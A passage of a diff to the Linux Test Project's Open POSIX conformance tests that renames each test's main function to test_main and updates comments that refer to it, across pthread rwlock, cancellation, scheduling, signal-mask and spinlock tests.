+24,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { static pthread_rwlock_t rwlock; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c index e82bf5c3..c86cb1b6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c @@ -18,7 +18,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlockattr_t rwla; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c index 0d11920d..af5aaefe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c @@ -21,7 +21,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlockattr_t rwla; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c index 46833eb1..7c7ad372 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c @@ -18,7 +18,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlockattr_t rwla; int pshared; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c index 72c40f11..ddea5dd9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c @@ -38,7 +38,7 @@ static struct shmstruct { int data; } *rwlock_data; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c index 3fdda7d0..f07d2540 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/4-1.c @@ -19,7 +19,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlockattr_t rwla; int pshared; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c index 2299104f..a81bf370 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlockattr_t rwa; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c index 4f47b9a3..88413b80 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_init/2-1.c @@ -21,7 +21,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlockattr_t rwa; pthread_rwlock_t rwl1, rwl2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c index 171accf9..e34cfb68 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_setpshared/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlockattr_t rwla; int pshared; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_self/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_self/1-1.c index d48329df..6002ec8a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_self/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_self/1-1.c @@ -33,7 +33,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-1.c index 4157be42..d946e1e5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-1.c @@ -44,11 +44,11 @@ static void *a_thread_func() cancel_flag = 1; - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Wait until main() has sent out a cancel request, meaning until it - * sets sem1==INTHREAD. */ + /* Wait until test_main() has sent out a cancel request, meaning until + * it sets sem1==INTHREAD. */ while (sem1 == INMAIN) sleep(1); @@ -63,7 +63,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-2.c index 62639017..3a32f755 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/1-2.c @@ -42,11 +42,11 @@ static void *a_thread_func() cancel_flag = -1; - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Wait until main() has sent out a cancel request, meaning until it - * sets sem1==INTHREAD. */ + /* Wait until test_main() has sent out a cancel request, meaning until + * it sets sem1==INTHREAD. */ while (sem1 == INMAIN) sleep(1); @@ -62,7 +62,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/2-1.c index c48be7a4..d3d53ef4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/2-1.c @@ -39,11 +39,11 @@ static void *a_thread_func() cancel_flag = 1; - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Wait until main() has sent out a cancel request, meaning until it - * sets sem1==INTHREAD. */ + /* Wait until test_main() has sent out a cancel request, meaning until + * it sets sem1==INTHREAD. */ while (sem1 == INMAIN) sleep(1); @@ -58,7 +58,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/3-1.c index 895af898..bd48817f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcancelstate/3-1.c @@ -37,7 +37,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-1.c index 95bdf6f9..5c2b7157 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-1.c @@ -13,7 +13,7 @@ * Test when a thread is PTHREAD_CANCEL_ASYNCHRONOUS * * STEPS: - * 1. Setup a mutex and lock it in main() + * 1. Setup a mutex and lock it in test_main() * 2. Create a thread. * 3. In the thread function, set the type to PTHREAD_CANCEL_ASYNCHRONOUS * 4. Setup a cleanup handler for the thread. @@ -21,8 +21,8 @@ * 6. Send out a thread cancel request to the new thread * 7. If the cancel request was honored immediately and correctly, the * cleanup handler would have been executed, and the test will pass. - * 8. If not, main will wait for 10 seconds before it unlocks the mutex, and the thread - * will exit, failing the test. + * 8. If not, test_main will wait for 10 seconds before it unlocks the mutex, + * and the thread will exit, failing the test. */ #include <pthread.h> @@ -55,11 +55,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Lock the mutex. It should have already been locked in main, so the thread - * should block. */ + /* Lock the mutex. It should have already been locked in test_main, + * so the thread should block. */ if (pthread_mutex_lock(&mutex) != 0) { perror("Error in pthread_mutex_lock()\n"); pthread_exit((void *)PTS_UNRESOLVED); @@ -74,7 +74,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int i = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-2.c index 2614e462..6c67b948 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/1-2.c @@ -13,7 +13,7 @@ * Test when a thread is PTHREAD_CANCEL_DEFERRED * * STEPS: - * 1. Setup a mutex and lock it in main() + * 1. Setup a mutex and lock it in test_main() * 2. Create a thread. * 3. In the thread function, set the type to PTHREAD_CANCEL_DEFERRED * 4. Setup a cleanup handler for the thread. @@ -58,11 +58,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Lock the mutex. It should have already been locked in main, so the thread - * should block. */ + /* Lock the mutex. It should have already been locked in test_main, + * so the thread should block. */ if (pthread_mutex_lock(&mutex) != 0) { perror("Error in pthread_mutex_lock()\n"); pthread_exit((void *)PTS_UNRESOLVED); @@ -83,7 +83,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/2-1.c index 92cd2b30..8d0b9685 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setcanceltype/2-1.c @@ -9,7 +9,7 @@ The cancelability type of a newly created thread is PTHREAD_CANCEL_DEFERRED. * * STEPS: - * 1. Setup a mutex and lock it in main() + * 1. Setup a mutex and lock it in test_main() * 2. Create a thread. Without setting the cancel type, the default should be * PTHREAD_CANCEL_DEFERRED. * 3. Setup a cleanup handler for the thread. @@ -53,11 +53,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Lock the mutex. It should have already been locked in main, so the thread - * should block. */ + /* Lock the mutex. It should have already been locked in test_main, + * so the thread should block. */ if (pthread_mutex_lock(&mutex) != 0) { perror("Error in pthread_mutex_lock()\n"); pthread_exit((void *)PTS_UNRESOLVED); @@ -78,7 +78,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-1.c index 3137d2af..6ae9723a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-1.c @@ -43,7 +43,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c index f945f6ad..5f8f3c6b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/1-2.c @@ -147,7 +147,7 @@ static void *changer(void *arg) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t tcontrol, tchange; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c index d09e0567..40af0856 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/4-1.c @@ -152,7 +152,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c index 23dfb265..70caf3c4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedparam/5-1.c @@ -194,7 +194,7 @@ static void *test(void *arg) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2, me; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedprio/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedprio/1-1.c index 166ba88c..f63ce210 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedprio/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setschedprio/1-1.c @@ -69,7 +69,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-1.c index b0527fa7..6fcbd7ae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-1.c @@ -28,7 +28,7 @@ #define NUM_OF_KEYS 10 #define KEY_VALUE 0 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_key_t keys[NUM_OF_KEYS]; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-2.c index f1fc485e..11a60630 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_setspecific/1-2.c @@ -54,7 +54,7 @@ static void *a_thread_func() } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/10-1.c index 3876f661..9b9f6fde 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/10-1.c @@ -50,7 +50,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/12-1.c index 0807479d..32565bc1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/12-1.c @@ -113,7 +113,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/14-1.c index e2b7bf15..10f4da7a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/14-1.c @@ -41,7 +41,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c index d396f3be..7aace0b5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/15-1.c @@ -14,7 +14,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t set; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/16-1.c index 9d57d031..e8e275ec 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/16-1.c @@ -58,7 +58,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c index f303e985..478caba8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/18-1.c @@ -211,7 +211,7 @@ static void *test(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/4-1.c index b02a1aef..075e4fa7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/4-1.c @@ -9,7 +9,7 @@ set pointed to by set, if the value of the argument how is SIG_BLOCK. Steps: - 1. Have main create a new thread and wait for its termination. + 1. Have test_main create a new thread and wait for its termination. 2. Inside the new thread, set up the signal mask such that it contains only SIGABRT. 3. Also inside the new thread, using the SIG_BLOCK as the value to @@ -18,7 +18,7 @@ 4. Raise both signals make sure that the handler associated with these signals wasn't executed. 5. Also make sure that both signals are pending. - 6. Pass one of three return codes to the main() function: + 6. Pass one of three return codes to the test_main() function: - A value of -1 if one of the two signals wasn't found pending or causes the handler to be executed. - A value of 0 if both signals were infact pending and the handler @@ -102,7 +102,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c index 12f522e1..6137599e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c @@ -8,7 +8,7 @@ The resulting set shall be the signal set pointed to by set Steps: -1. Have main create a new thread and wait for its termination. +1. Have test_main() create a new thread and wait for its termination. 2. Inside the new thread, set up the signal mask such that it contains only SIGABRT (by passing SIG_SETMASK value to pthread_sigmask) 4. Raise SIGABRT, and make sure that the handler associated with it @@ -20,7 +20,7 @@ Steps: that SIG_SETMASK removed the old signal from the set. * /patch * -6. Pass one of three return codes to the main() function: +6. Pass one of three return codes to the test_main() function: - A value of -1 if SIGABRT wasn't found pending or causes the handler to be executed. - A value of 0 if SIGABRT was in fact pending and the handler @@ -112,7 +112,7 @@ static void *a_thread_func() } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/6-1.c index 3f8e706c..cd948540 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/6-1.c @@ -9,7 +9,7 @@ the complement of the set pointed to by set. Steps: - 1. Have main create a new thread and wait for its termination. + 1. Have test_main create a new thread and wait for its termination. 2. Inside the new thread, set up the signal mask such that it contains both SIGABRT and SIGALRM 3. Also inside the new thread, using the SIG_UNBLOCK as the value to @@ -20,7 +20,7 @@ 5. Reset handler_called variable to 0. Raise SIGABRT, and verify that handler wasn't called, otherwise test fails. 6. Make sure that the only pending signal is SIGABRT, otherwise fail. - 7. Return one of three return codes to the main() function: + 7. Return one of three return codes to the test_main() function: - A value of -1 if any of failures mentioned above occured. - A value of 0 if both SIGALRM was successfully blocked. - A value of 1 incase of any UNRESOLVED situation such as an @@ -123,7 +123,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c index 79cdefd9..f0f7ef0a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/7-1.c @@ -76,7 +76,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-1.c index 6b4e99ef..398103d4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-1.c @@ -76,7 +76,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-2.c index 2f7a664c..b9a0d7f3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-2.c @@ -77,7 +77,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-3.c index c83f04e1..6885e97a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/8-3.c @@ -76,7 +76,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/9-1.c index 1b9affc4..79548bbe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/9-1.c @@ -89,7 +89,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int *thread_return_value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c index 1d7395b2..3663a664 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/1-1.c @@ -26,7 +26,7 @@ static pthread_spinlock_t spinlock; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c index b3fdf821..ba1a332e 100644 